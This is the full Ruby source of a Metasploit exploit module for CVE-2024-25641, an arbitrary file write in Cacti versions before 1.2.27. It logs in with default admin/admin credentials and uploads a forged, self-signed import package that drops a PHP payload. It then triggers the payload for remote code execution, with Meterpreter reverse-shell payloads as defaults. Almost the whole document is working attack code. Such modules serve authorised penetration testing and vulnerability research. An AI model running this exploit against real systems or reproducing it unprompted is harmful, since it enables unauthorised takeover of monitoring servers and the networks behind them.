Cacti Import Packages Remote Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Cacti
  include Msf::Payload::Php
  include Msf::Exploit::FileDropper
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cacti Import Packages RCE',
        'Description' => %q{
          This exploit module leverages an arbitrary file write vulnerability
          (CVE-2024-25641) in Cacti versions prior to 1.2.27 to achieve RCE. It
          abuses the `Import Packages` feature to upload a specially crafted
          package that embeds a PHP file. Cacti will extract this file to an
          accessible location. The module finally triggers the payload to execute
          arbitrary PHP code in the context of the user running the web server.

          Authentication is needed and the account must have access to the
          `Import Packages` feature. This is granted by setting the `Import
          Templates` permission in the `Template Editor` section.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Egidio Romano', # Initial research and discovery
          'Christophe De La Fuente' # Metasploit module
        ],
        'References' => [
          [ 'URL', 'https://karmainsecurity.com/KIS-2024-04'],
          [ 'URL', 'https://github.com/Cacti/cacti/security/advisories/GHSA-7cmj-g5qc-pj88'],
          [ 'CVE', '2024-25641']
        ],
        'Platform' => ['unix linux win'],
        'Privileged' => false,
        'Arch' => [ARCH_PHP, ARCH_CMD],
        'Targets' => [
          [
            'PHP',
            {
              'Arch' => ARCH_PHP,
              'Platform' => 'php',
              'Type' => :php,
              'DefaultOptions' => {
                # Payload is not set automatically when selecting this target.
                # Select Meterpreter by default
                'PAYLOAD' => 'php/meterpreter/reverse_tcp'
              }
            }
          ],
          [
            'Linux Command',
            {
              'Arch' => ARCH_CMD,
              'Platform' => [ 'unix', 'linux' ],
              'DefaultOptions' => {
                # Payload is not set automatically when selecting this target.
                # Select a x64 fetch payload by default.
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp'
              }
            }
          ],
          [
            'Windows Command',
            {
              'Arch' => ARCH_CMD,
              'Platform' => 'win',
              'DefaultOptions' => {
                # Payload is not set automatically when selecting this target.
                # Select a x64 fetch payload by default.
                'PAYLOAD' => 'cmd/windows/http/x64/meterpreter_reverse_tcp'
              }
            }
          ]
        ],
        'DisclosureDate' => '2024-05-12',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
        }
      )
    )

    register_options(
      [
        OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
        OptString.new('PASSWORD', [ true, 'Password to login with', 'admin']),
        OptString.new('TARGETURI', [ true, 'The base URI of Cacti', '/cacti'])
      ]
    )
  end

  def check
    # Step 1 - Check if the target is Cacti and get the version
    print_status('Checking Cacti version')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'index.php'),
      'method' => 'GET',
      'keep_cookies' => true
    )
    return CheckCode::Unknown('Could not connect to the web server - no response') if res.nil?

    html = res.get_html_document
    begin
      cacti_version = parse_version(html)
      version_msg = "The web server is running Cacti version #{cacti_version}"
    rescue Msf::Exploit::Cacti::CactiNotFoundError => e
      return CheckCode::Safe(e.message)
    rescue Msf::Exploit::Cacti::CactiVersionNotFoundError => e
      return CheckCode::Unknown(e.message)
    end

    if Rex::Version.new(cacti_version) < Rex::Version.new('1.2.27')
      print_good(version_msg)
    else
      return CheckCode::Safe(version_msg)
    end

    # Step 2 - Login
    @csrf_token = parse_csrf_token(html)
    return CheckCode::Unknown('Could not get the CSRF token from `index.php`') if @csrf_token.empty?

    begin
      do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
    rescue Msf::Exploit::Cacti::CactiError => e
      return CheckCode::Unknown("Login failed: #{e}")
    end

    @logged_in = true

    # Step 3 - Check if the user has enough permissions to reach `package_import.php`
    print_status('Checking permissions to access `package_import.php`')
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'package_import.php'),
      'method' => 'GET',
      'keep_cookies' => true
    )
    return CheckCode::Unknown('Could not access `package_import.php` - no response') if res.nil?
    return CheckCode::Unknown("Could not access `package_import.php` - unexpected HTTP response code: #{res.code}") unless res.code == 200
    # The form with the CSRF token input field is not present when access is denied
    if parse_csrf_token(res.get_html_document).empty?
      return CheckCode::Safe('Could not access `package_import.php` - insufficient permissions')
    end

    CheckCode::Appears
  end

  # Taken from modules/payloads/singles/php/exec.rb
  def php_exec(cmd)
    dis = '$' + rand_text_alpha(4..7)
    shell = <<-END_OF_PHP_CODE
    #{php_preamble(disabled_varname: dis)}
    $c = base64_decode("#{Rex::Text.encode_base64(cmd)}");
    #{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
    END_OF_PHP_CODE

    Rex::Text.compress(shell)
  end

  def generate_package
    @payload_path = "resource/#{rand_text_alphanumeric(5..10)}.php"

    php_payload = target['Type'] == :php ? payload.encoded : php_exec(payload.encoded)

    digest = OpenSSL::Digest.new('SHA256')
    pkey = OpenSSL::PKey::RSA.new(2048)
    file_signature = pkey.sign(digest, php_payload)

    xml_data = <<~XML
      <xml>
         <files>
            <file>
               <name>#{@payload_path}</name>
               <data>#{Rex::Text.encode_base64(php_payload)}</data>
               <filesignature>#{Rex::Text.encode_base64(file_signature)}</filesignature>
            </file>
         </files>
         <publickey>#{Rex::Text.encode_base64(pkey.public_key.to_pem)}</publickey>
         <signature></signature>
      </xml>
    XML

    signature = pkey.sign(digest, xml_data)
    xml_data.sub!('<signature></signature>', "<signature>#{Rex::Text.encode_base64(signature)}</signature>")

    Rex::Text.gzip(xml_data)
  end

  def upload_package
    print_status('Uploading the package')
    # Default parameters sent when importing packages from the web UI
    # Randomizing these values might be suspicious
    vars_form = {
      '__csrf_magic' => @csrf_token,
      'trust_signer' => 'on',
      'data_source_profile' => '1',
      'remove_orphans' => 'on',
      'replace_svalues' => 'on',
      'image_format' => '3',
      'graph_height' => '200',
      'graph_width' => '700',
      'save_component_import' => '1',
      'preview_only' => 'on',
      'action' => 'save'
    }

    vars_form_data = []
    vars_form.each do |name, data|
      vars_form_data << { 'name' => name, 'data' => data }
    end

    vars_form_data << {
      'name' => 'import_file',
      'filename' => "#{rand_text_alphanumeric(5..10)}.xml.gz",
      'content_type' => 'application/x-gzip',
      'encoding' => 'binary',
      'data' => generate_package
    }

    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'package_import.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_form_data' => vars_form_data
    )
    fail_with(Failure::Unreachable, 'Could not connect to the web server - no response when sending the preview import request') if res.nil?
    fail_with(Failure::UnexpectedReply, "Unexpected response code (#{res.code}) when sending the preview import request") unless res.code == 200

    html = res.get_html_document
    local_path = html.xpath('//input[starts-with(@id, "chk_file")]/@title').text
    fail_with(Failure::Unknown, 'Unable to import the package') if local_path.empty?

    vars_form['preview_only'] = ''
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'package_import.php'),
      'method' => 'POST',
      'keep_cookies' => true,
      'vars_post' => vars_form
    )
    fail_with(Failure::Unreachable, 'Could not connect to the web server - no response when importing the package') if res.nil?
    fail_with(Failure::UnexpectedReply, "Unexpected response code when importing the package (#{res.code})") unless res.code == 302

    local_path
  end

  def trigger_payload
    # Expecting no response
    print_status('Triggering the payload')
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, @payload_path),
      'method' => 'GET'
    }, 1)
  end

  def exploit
    # Setting the `FETCH_DELETE` option seems to break the payload execution.
    # `Msf::Exploit::FileDropper` will be used later to cleanup. Note that it
    # is not possible to opt-out anymore.
    fail_with(Failure::BadConfig, 'FETCH_DELETE must be set to false') if datastore['FETCH_DELETE']

    unless @csrf_token
      begin
        @csrf_token = get_csrf_token
      rescue CactiError => e
        fail_with(Failure::NotFound, "Unable to get the CSRF token: #{e.class} - #{e}")
      end
    end

    unless @logged_in
      begin
        do_login(datastore['USERNAME'], datastore['PASSWORD'], csrf_token: @csrf_token)
      rescue CactiError => e
        fail_with(Failure::NoAccess, "Login failure: #{e.class} - #{e}")
      end
    end

    package_path = upload_package

    register_file_for_cleanup(package_path)

    # For fetch payloads, setting the `FETCH_DELETE` option seems to break the
    # payload execution. Using `#register_file_for_cleanup` instead, since we
    # know the local path.
    if target['Type'] != :php && payload_instance.is_a?(Msf::Payload::Adapter::Fetch)
      if File.absolute_path?(datastore['FETCH_FILENAME'])
        register_file_for_cleanup(datastore['FETCH_FILENAME'])
      else
        register_file_for_cleanup(File.join(File.dirname(package_path), datastore['FETCH_FILENAME']))
      end
    end

    trigger_payload
  end

end